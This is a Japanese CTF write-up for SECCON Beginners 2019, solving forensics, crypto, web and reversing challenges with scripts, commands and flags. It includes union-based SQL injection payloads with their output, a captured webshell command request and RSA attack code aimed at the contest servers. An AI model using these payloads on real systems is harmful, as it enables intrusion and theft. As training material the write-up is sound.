この大会は2019/5/25 15:00(JST)~2019/5/26 15:00(JST)に開催されました。
今回は個人で参戦。結果は2270点で666チーム中34位でした。
解けた問題をWriteupとして書いておきます。
[warmup] Welcome (Misc)
freenodeで#seccon-beginners-ctfチャネルに入ると、フラグが書いてあった。
15:02 *topic : 競技に関する質問等はこちらで受け付けます FLAG: ctf4b{welcome_to_seccon_beginners_ctf}
ctf4b{welcome_to_seccon_beginners_ctf}
containers (Misc)
foremostでカービングする。
$ foremost containers Processing: containers |*|
pngがたくさん抽出でき、1文字ずつ画像になっていて、順に結合するとフラグになる。
ctf4b{e52df60c058746a66e4ac4f34db6fc81}
Dump (Misc)
添付ファイルはpcapファイルだった。Wiresharkで開き、httpでフィルタリングする。それぞれ以下の内容になっている。
■No.12 GET /webshell.php?cmd=ls%20%2Dl%20%2Fhome%2Fctf4b%2Fflag HTTP/1.1\r\n -> ls -l /home/ctf4b/flag ■No.14 -rw-r--r-- 1 ctf4b ctf4b 767400 Apr 7 19:46 /home/ctf4b/flag\n ■No.22 GET /webshell.php?cmd=hexdump%20%2De%20%2716%2F1%20%22%2502%2E3o%20%22%20%22%5Cn%22%27%20%2Fhome%2Fctf4b%2Fflag HTTP/1.1\r\n -> hexdump -e '16/1 "%02.3o " "\n"' /home/ctf4b/flag ■No.3193 バイナリを8進数で表現して並べている。
flagファイルを復元してみる。
with open('3193.bin', 'r') as f: o_data = f.read().rstrip() codes = o_data.replace('\n', ' ').split(' ') flag = '' for code in codes: flag += chr(int(code, 8)) with open('flag', 'wb') as f: f.write(flag)
$ file flag flag: gzip compressed data, last modified: Sun Apr 7 10:46:34 2019, from Unix $ mv flag flag.gz $ gzip -d flag.gz $ file flag flag: POSIX tar archive $ mv flag flag.tar $ tar xvf flag.tar ./._flag.jpg flag.jpg
flag.jpgにフラグが書いてあった。
ctf4b{hexdump_is_very_useful}
Sliding puzzle (Misc)
3x3のスライドパズルを繰り返し解くと最後にフラグが表示されるようだ。https://github.com/fabianokafor369/Sliding-puzzle-solver/blob/master/main.pyを流用する。
import socket def recvuntil(s, tail): data = '' while True: if tail in data: return data data += s.recv(1) def place_heuristic(state): if type(state) == str: state = eval(state) elif type(state) == list: pass flat_statelist = [item for sublist in state for item in sublist] misplacedcounter = 0 for element in flat_statelist: if flat_statelist.index(element) != element: misplacedcounter += 1 return misplacedcounter def Manhattan_heuristic(state): if type(state) == str: state = eval(state) elif type(state) == list: pass flat_statelist = [item for sublist in state for item in sublist] flat_goallist = range(0, len(flat_statelist)) mandistance = 0 for element in flat_statelist: distance = abs(flat_goallist.index(element) - flat_statelist.index(element)) xcoord, ycoord = distance//len(state[0]), distance%len(state[0]) mandistance += xcoord + ycoord return mandistance def myheuristic(state): if type(state) == str: state = eval(state) elif type(state) == list: pass flat_statelist = [item for sublist in state for item in sublist] flat_goallist = range(0, len(flat_statelist)) mydistance = 0 for i in range(len(state[0])): for j in state[i]: for k in state[i]: if j and k in goalstate(state)[i] and (flat_goallist.index(j) - flat_statelist.index(j) > 0 and flat_goallist.index(k) - flat_statelist.index(k) < 0) or (flat_goallist.index(j) - flat_statelist.index(j) < 0 and flat_goallist.index(k) - flat_statelist.index(k) > 0): mydistance += 2 return mydistance/2 + Manhattan_heuristic(state) heuristics = [place_heuristic, Manhattan_heuristic, myheuristic] def goalstate(state): flat_statelist = [item for sublist in state for item in sublist] flat_goallist = range(0, len(flat_statelist)) goal = [] glstcounter = 0 for j in range(len(state[0])): goal.append(range(glstcounter, glstcounter + len(state[0]))) glstcounter += len(state[0]) return goal def moves(inputs, n): storage = [] inputs = str(inputs) move = eval(inputs) i = 0 while 0 not in move[i]: i += 1 j = move[i].index(0); # blank space (zero) if i > 0: move[i][j], move[i - 1][j] = move[i - 1][j], move[i][j]; storage.append(str(move)) move[i][j], move[i - 1][j] = move[i - 1][j], move[i][j]; if i < n-1: move[i][j], move[i + 1][j] = move[i + 1][j], move[i][j] storage.append(str(move)) move[i][j], move[i + 1][j] = move[i + 1][j], move[i][j] if j > 0: move[i][j], move[i][j - 1] = move[i][j - 1], move[i][j] storage.append(str(move)) move[i][j], move[i][j - 1] = move[i][j - 1], move[i][j] if j < n-1: move[i][j], move[i][j + 1] = move[i][j + 1], move[i][j] storage.append(str(move)) move[i][j], move[i][j + 1] = move[i][j + 1], move[i][j] return storage def Astar(start, finish, heuristic): n = len(start) start , finish = str(start), str(finish) pathstorage = [[heuristic(start), start]] # optional: heuristic_1 expanded = [] expanded_nodes = 0 while pathstorage: i = 0 for j in range(1, len(pathstorage)): if pathstorage[i][0] > pathstorage[j][0]: i = j path = pathstorage[i] pathstorage = pathstorage[:i] + pathstorage[i + 1:] finishnode = path[-1] if finishnode == finish: break if finishnode in expanded: continue for b in moves(finishnode, n): if b in expanded: continue newpath = [path[0] + heuristic(b) - heuristic(finishnode)] + path[1:] + [b] pathstorage.append(newpath) expanded.append(finishnode) expanded_nodes += 1 return expanded_nodes, len(path), path def get_sp_pos(matrix): for i in range(len(matrix)): for j in range(len(matrix[0])): if matrix[i][j] == 0: return i, j def solvePuzzle(n, state, heuristic, prnt): flat_statelist = [item for sublist in state for item in sublist] flat_goallist = range(0, len(flat_statelist)) if len(flat_statelist) != n**2: steps, frontierSize, err = 0, 0, -1 elif True in [i not in flat_statelist for i in range(0,n**2-1)]: steps, frontierSize, err = 0, 0, -1 else: steps, frontierSize, solutions = Astar(state,goalstate(state), heuristic) err = 0 ope = '' if prnt == True: pre = (-1, -1) for sol in solutions[1:]: if pre[0] != -1: cur = get_sp_pos(eval(sol)) if cur[0] == pre[0]: if cur[1] < pre[1]: ope += '3,' else: ope += '1,' else: if cur[0] < pre[0]: ope += '0,' else: ope += '2,' pre = cur else: pre = get_sp_pos(eval(sol)) return ope[:-1] s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('133.242.50.201', 24912)) for i in range(100): print 'Round %d' % (i+1) puzzle = [] data = recvuntil(s, '\n').rstrip() print data for j in range(3): data = recvuntil(s, '\n').rstrip() print data puzzle.append(map(int, data[2:-2].split(' | '))) data = recvuntil(s, '\n').rstrip() print data ans = solvePuzzle(3, puzzle, heuristics[2], True) print ans s.sendall(ans + '\n') data = recvuntil(s, '\n').rstrip() print data data = recvuntil(s, '\n').rstrip() print data
実行結果は以下の通り。
: Round 100 ---------------- | 01 | 00 | 05 | | 03 | 02 | 04 | | 06 | 07 | 08 | ---------------- 2,1,0,3,3 [+] Congratulations! ctf4b{fe6f512c15daf77a2f93b6a5771af2f723422c72}
ctf4b{fe6f512c15daf77a2f93b6a5771af2f723422c72}
[warmup] So Tired (Crypto)
base64デコードすると、zlibデータになっている。さらに展開すると、base64になっている。これを繰り返していくと、フラグにたどりつきそう。
import zlib with open('encrypted.txt', 'r') as f: data = f.read() i = 1 while True: print 'Round %d' % i try: data = zlib.decompress(data.decode('base64')) except: break i += 1 print data
ctf4b{very_l0ng_l0ng_BASE64_3nc0ding}
Party (Crypto)
スクリプトの処理概要は以下の通り。
coeff = [flag, 512bitランダム整数, 512bitランダム整数] party = [512bitランダム整数, 512bitランダム整数, 512bitランダム整数] partyの各値について以下を出力 ・coeff[0] * pow(party[i], 0) + coeff[1] * pow(party[i], 1) + coeff[2] * pow(party[i], 2)
三元方程式になる。これを解くとフラグがわかる。
from sympy import * from Crypto.Util.number import * M = 3 with open('encrypted', 'r') as f: output = eval(f.read()) party = [output[i][0] for i in range(M)] val = [output[i][1] for i in range(M)] x = Symbol('x') y = Symbol('y') z = Symbol('z') eq = [] for i in range(M): eq.append(pow(party[i], 0) * x + pow(party[i], 1) * y + pow(party[i], 2) * z - val[i]) ans = solve(eq) secret = ans[x] flag = long_to_bytes(secret) print flag
ctf4b{just_d0ing_sh4mir}
Go RSA (Crypto)
flagの暗号化した数値を表示し、指定した数値で暗号化した結果を3回表示した後、Dの値を表示している。2と4と16を指定し、nを算出する。あとは普通に復号すれば、フラグが得られる。
import socket from Crypto.Util.number import * def recvuntil(s, tail): data = '' while True: if tail in data: return data data += s.recv(1) def egcd(a, b): x,y, u,v = 0,1, 1,0 while a != 0: q, r = b//a, b%a m, n = x-u*q, y-v*q b,a, x,y, u,v = a,r, u,v, m,n gcd = b return gcd, x, y s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('133.242.17.175', 1337)) data = recvuntil(s, '\n').rstrip() print data c = int(data.split(' ')[-1]) try_rsa_enc = [] for m in [2, 4, 16]: data = recvuntil(s, '> ').rstrip() print data + str(m) s.sendall(str(m) + '\n') data = recvuntil(s, '\n').rstrip() print data try_rsa_enc.append(int(data)) diff1 = (try_rsa_enc[0]) ** 2 - try_rsa_enc[1] diff2 = (try_rsa_enc[1]) ** 2 - try_rsa_enc[2] n, _, _ = egcd(diff1, diff2) for i in range(100, 1, -1): if n % i == 0: n /= i break data = recvuntil(s, '\n').rstrip() print data d = int(data.split(' ')[-1]) m = pow(c, d, n) flag = long_to_bytes(m) print flag
ctf4b{f1nd_7he_p4ramet3rs}
Bit Flip (Crypto)
フラグ全体の長さの下1/4のどこかのbitを反転して、暗号化した結果を表示する。
$ nc 133.242.17.175 31337 67934674480415409445912596144472990191947930001733201255786727204148538647908805395531997246928556767017832997940891223515738956921085187535417250023159082589413865327698241395135016557982678511049939226665928693127996358607612902806119769115103069944013822510255298471351806834825914643752644351104525745545 $ nc 133.242.17.175 31337 24846327963537398665326250105820211853540262705563513452165770055157595584227601880087585656348133800807610978266985906268770858609939565220321313107360537391879889839508253377206038160961583521199317745734473887417662273181421001196964299122753375172706482105997513901002415779269706928886427586577522119035
Short Pad attackとRelated Message attackを組み合わせて復号してみる。
# solve.sage def short_pad_attack(c1, c2, e, n): PRxy.<x,y> = PolynomialRing(Zmod(n)) PRx.<xn> = PolynomialRing(Zmod(n)) PRZZ.<xz,yz> = PolynomialRing(Zmod(n)) g1 = x^e - c1 g2 = (x+y)^e - c2 q1 = g1.change_ring(PRZZ) q2 = g2.change_ring(PRZZ) h = q2.resultant(q1) h = h.univariate_polynomial() h = h.change_ring(PRx).subs(y=xn) h = h.monic() kbits = n.nbits()//(2*e*e) diff = h.small_roots(X=2^kbits, beta=0.5)[0] # find root < 2^kbits with factor >= n^0.5 return diff def related_message_attack(c1, c2, diff, e, n): PRx.<x> = PolynomialRing(Zmod(n)) g1 = x^e - c1 g2 = (x+diff)^e - c2 def gcd(g1, g2): while g2: g1, g2 = g2, g1 % g2 return g1.monic() return -gcd(g1, g2)[0] N = 82212154608576254900096226483113810717974464677637469172151624370076874445177909757467220517368961706061745548693538272183076941444005809369433342423449908965735182462388415108238954782902658438063972198394192220357503336925109727386083951661191494159560430569334665763264352163167121773914831172831824145331 e = 3 c1 = 67934674480415409445912596144472990191947930001733201255786727204148538647908805395531997246928556767017832997940891223515738956921085187535417250023159082589413865327698241395135016557982678511049939226665928693127996358607612902806119769115103069944013822510255298471351806834825914643752644351104525745545 c2 = 24846327963537398665326250105820211853540262705563513452165770055157595584227601880087585656348133800807610978266985906268770858609939565220321313107360537391879889839508253377206038160961583521199317745734473887417662273181421001196964299122753375172706482105997513901002415779269706928886427586577522119035 diff = short_pad_attack(c1, c2, e, N) m = related_message_attack(c1, c2, diff, e, N) flag = ('%x' % m).decode('hex') print flag
実行結果は以下の通り。
ctf4b{b1tfl1pp1ng_1s_r3lated_m3ss4ge} DUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUIMY
ctf4b{b1tfl1pp1ng_1s_r3lated_m3ss4ge}
[warmup] Ramen (Web)
名前に含まれている文字を指定すると検索でき、unionを使ったSQLインジェクションができる。
■太郎' union select 1,2 -- - 名前 一言 せくこん太郎 1970 年よりラーメン道一本。美味しいラメーンを作ることが生きがい。 1 2 ■' union select table_schema, table_name from information_schema.tables -- - 名前 一言 せくこん太郎 1970 年よりラーメン道一本。美味しいラメーンを作ることが生きがい。 せくこん次郎 せくこん太郎の弟。好きな食べものはコッペパン。 せくこん三郎 せくこん次郎の弟。食材本来の味を引き出すことに全力を注ぐ。 information_schema CHARACTER_SETS information_schema COLLATIONS information_schema COLLATION_CHARACTER_SET_APPLICABILITY information_schema COLUMNS information_schema COLUMN_PRIVILEGES information_schema ENGINES information_schema EVENTS information_schema FILES information_schema GLOBAL_STATUS information_schema GLOBAL_VARIABLES information_schema KEY_COLUMN_USAGE information_schema OPTIMIZER_TRACE information_schema PARAMETERS information_schema PARTITIONS information_schema PLUGINS information_schema PROCESSLIST information_schema PROFILING information_schema REFERENTIAL_CONSTRAINTS information_schema ROUTINES information_schema SCHEMATA information_schema SCHEMA_PRIVILEGES information_schema SESSION_STATUS information_schema SESSION_VARIABLES information_schema STATISTICS information_schema TABLES information_schema TABLESPACES information_schema TABLE_CONSTRAINTS information_schema TABLE_PRIVILEGES information_schema TRIGGERS information_schema USER_PRIVILEGES information_schema VIEWS information_schema INNODB_LOCKS information_schema INNODB_TRX information_schema INNODB_SYS_DATAFILES information_schema INNODB_LOCK_WAITS information_schema INNODB_SYS_TABLESTATS information_schema INNODB_CMP information_schema INNODB_METRICS information_schema INNODB_CMP_RESET information_schema INNODB_CMP_PER_INDEX information_schema INNODB_CMPMEM_RESET information_schema INNODB_FT_DELETED information_schema INNODB_BUFFER_PAGE_LRU information_schema INNODB_SYS_FOREIGN information_schema INNODB_SYS_COLUMNS information_schema INNODB_SYS_INDEXES information_schema INNODB_FT_DEFAULT_STOPWORD information_schema INNODB_SYS_FIELDS information_schema INNODB_CMP_PER_INDEX_RESET information_schema INNODB_BUFFER_PAGE information_schema INNODB_CMPMEM information_schema INNODB_FT_INDEX_TABLE information_schema INNODB_FT_BEING_DELETED information_schema INNODB_SYS_TABLESPACES information_schema INNODB_FT_INDEX_CACHE information_schema INNODB_SYS_FOREIGN_COLS information_schema INNODB_SYS_TABLES information_schema INNODB_BUFFER_POOL_STATS information_schema INNODB_FT_CONFIG app flag app members ■' union select table_name, column_name from information_schema.columns where table_name='flag' -- - 名前 一言 せくこん太郎 1970 年よりラーメン道一本。美味しいラメーンを作ることが生きがい。 せくこん次郎 せくこん太郎の弟。好きな食べものはコッペパン。 せくこん三郎 せくこん次郎の弟。食材本来の味を引き出すことに全力を注ぐ。 flag flag ■' union select 1, flag from app.flag -- - 名前 一言 せくこん太郎 1970 年よりラーメン道一本。美味しいラメーンを作ることが生きがい。 せくこん次郎 せくこん太郎の弟。好きな食べものはコッペパン。 せくこん三郎 せくこん次郎の弟。食材本来の味を引き出すことに全力を注ぐ。 1 ctf4b{a_simple_sql_injection_with_union_select}
ctf4b{a_simple_sql_injection_with_union_select}
katsudon (Web)
https://katsudon.quals.beginners.seccon.jp/flagにアクセスすると、以下のように書いてある。
BAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6BkVU--0def7fcd357f759fe8da819edd081a3a73b6052a
"--" の左側をBase64デコードしてみる。
>>> 'BAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6BkVU'.decode('base64') '\x04\x08I"%ctf4b{K33P_Y0UR_53CR37_K3Y_B453}\x06:\x06ET'
フラグが含まれていた。
ctf4b{K33P_Y0UR_53CR37_K3Y_B453}
[warmup] Seccompare (Reversing)
$ objdump -d -M intel seccompare > seccompare.asm $ cat seccompare.asm : 00000000004005e7 <main>: 4005e7: 55 push rbp 4005e8: 48 89 e5 mov rbp,rsp 4005eb: 48 83 ec 40 sub rsp,0x40 4005ef: 89 7d cc mov DWORD PTR [rbp-0x34],edi 4005f2: 48 89 75 c0 mov QWORD PTR [rbp-0x40],rsi 4005f6: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28 4005fd: 00 00 4005ff: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax 400603: 31 c0 xor eax,eax 400605: 83 7d cc 01 cmp DWORD PTR [rbp-0x34],0x1 400609: 7f 25 jg 400630 <main+0x49> 40060b: 48 8b 45 c0 mov rax,QWORD PTR [rbp-0x40] 40060f: 48 8b 00 mov rax,QWORD PTR [rax] 400612: 48 89 c6 mov rsi,rax 400615: 48 8d 3d 68 01 00 00 lea rdi,[rip+0x168] # 400784 <_IO_stdin_used+0x4> 40061c: b8 00 00 00 00 mov eax,0x0 400621: e8 ba fe ff ff call 4004e0 <printf@plt> 400626: b8 01 00 00 00 mov eax,0x1 40062b: e9 b1 00 00 00 jmp 4006e1 <main+0xfa> 400630: c6 45 d0 63 mov BYTE PTR [rbp-0x30],0x63 400634: c6 45 d1 74 mov BYTE PTR [rbp-0x2f],0x74 400638: c6 45 d2 66 mov BYTE PTR [rbp-0x2e],0x66 40063c: c6 45 d3 34 mov BYTE PTR [rbp-0x2d],0x34 400640: c6 45 d4 62 mov BYTE PTR [rbp-0x2c],0x62 400644: c6 45 d5 7b mov BYTE PTR [rbp-0x2b],0x7b 400648: c6 45 d6 35 mov BYTE PTR [rbp-0x2a],0x35 40064c: c6 45 d7 74 mov BYTE PTR [rbp-0x29],0x74 400650: c6 45 d8 72 mov BYTE PTR [rbp-0x28],0x72 400654: c6 45 d9 31 mov BYTE PTR [rbp-0x27],0x31 400658: c6 45 da 6e mov BYTE PTR [rbp-0x26],0x6e 40065c: c6 45 db 67 mov BYTE PTR [rbp-0x25],0x67 400660: c6 45 dc 73 mov BYTE PTR [rbp-0x24],0x73 400664: c6 45 dd 5f mov BYTE PTR [rbp-0x23],0x5f 400668: c6 45 de 31 mov BYTE PTR [rbp-0x22],0x31 40066c: c6 45 df 73 mov BYTE PTR [rbp-0x21],0x73 400670: c6 45 e0 5f mov BYTE PTR [rbp-0x20],0x5f 400674: c6 45 e1 6e mov BYTE PTR [rbp-0x1f],0x6e 400678: c6 45 e2 30 mov BYTE PTR [rbp-0x1e],0x30 40067c: c6 45 e3 74 mov BYTE PTR [rbp-0x1d],0x74 400680: c6 45 e4 5f mov BYTE PTR [rbp-0x1c],0x5f 400684: c6 45 e5 65 mov BYTE PTR [rbp-0x1b],0x65 400688: c6 45 e6 6e mov BYTE PTR [rbp-0x1a],0x6e 40068c: c6 45 e7 30 mov BYTE PTR [rbp-0x19],0x30 400690: c6 45 e8 75 mov BYTE PTR [rbp-0x18],0x75 400694: c6 45 e9 67 mov BYTE PTR [rbp-0x17],0x67 400698: c6 45 ea 68 mov BYTE PTR [rbp-0x16],0x68 40069c: c6 45 eb 7d mov BYTE PTR [rbp-0x15],0x7d :
1文字ずつ比較している。これをASCIIコードとして文字にする。
codes = [0x63, 0x74, 0x66, 0x34, 0x62, 0x7b, 0x35, 0x74, 0x72, 0x31, 0x6e, 0x67, 0x73, 0x5f, 0x31, 0x73, 0x5f, 0x6e, 0x30, 0x74, 0x5f, 0x65, 0x6e, 0x30, 0x75, 0x67, 0x68, 0x7d] flag = '' for code in codes: flag += chr(code) print flag
ctf4b{5tr1ngs_1s_n0t_en0ugh}
Leakage (Reversing)
Ghidraで解析する。is_correct関数は以下のようになっている。
undefined8 is_correct(char *pcParm1) { char cVar1; size_t sVar2; undefined8 uVar3; int local_c; sVar2 = strlen(pcParm1); if (sVar2 == 0x22) { local_c = 0; while (local_c < 0x22) { cVar1 = convert((ulong)(byte)enc_flag[(long)local_c]); if (cVar1 != pcParm1[(long)local_c]) { return 0; } local_c = local_c + 1; } uVar3 = 1; } else { uVar3 = 0; } return uVar3; }
これを見ると、フラグの長さは0x22(=34)であることがわかる。convert関数は複雑だが、フラグを先頭から1文字ずつ検証していることがわかる。
そこでgdbでconvertの後の値を$rbp-5の値を見て確認していく。
$ gdb -q ./leakage Reading symbols from ./leakage...(no debugging symbols found)...done. gdb-peda$ b *0x400643 Breakpoint 1 at 0x400643 gdb-peda$ r ctf4b{aaaaaaaaaaaaaaaaaaaaaaaaaaa} Starting program: /mnt/hgfs/Shared/leakage ctf4b{aaaaaaaaaaaaaaaaaaaaaaaaaaa} : gdb-peda$ c : gdb-peda$ c Continuing. [----------------------------------registers-----------------------------------] RAX: 0x61 (b'a') RBX: 0x0 RCX: 0x0 RDX: 0x6 RSI: 0x174d4705 RDI: 0x7745f3cb RBP: 0x7fffffffda60 --> 0x7fffffffda80 --> 0x400bc0 (<__libc_csu_init>: push r15) RSP: 0x7fffffffda40 --> 0x1 RIP: 0x400643 (<is_correct+92>: cmp BYTE PTR [rbp-0x5],al) R8 : 0xb09965ff R9 : 0xc1f127cb R10: 0xf854b3c5 R11: 0x14ba3627 R12: 0x400500 (<_start>: xor ebp,ebp) R13: 0x7fffffffdb60 --> 0x2 R14: 0x0 R15: 0x0 [-------------------------------------code-------------------------------------] Display various information of current execution context Usage: context [reg,code,stack,all] [code/stack length] Breakpoint 1, 0x0000000000400643 in is_correct () gdb-peda$ x/b $rbp-5 0x7fffffffda5b: 0x6c ★"l"のASCIIコード
これを繰り返し、1文字ずつ割り出す。
ctf4b{le4k1ng_th3_f1ag_0ne_by_0ne}
Linear Operation (Reversing)
Ghidraで解析する。is_correct関数は複雑な処理になっていて、1文字ずつ確認するのは難しいので、angrで解く。
import angr p = angr.Project('./linear_operation') initial_state = p.factory.entry_state() pg = p.factory.simgr(initial_state) a = pg.explore(find=0x40cf78, avoid=0x40cf86) if len(a.found) > 0: s = a.found[0].state print '%r' % s.posix.dumps(0)
ctf4b{5ymbol1c_3xecuti0n_1s_3ffect1ve_4ga1nst_l1n34r_0p3r4ti0n}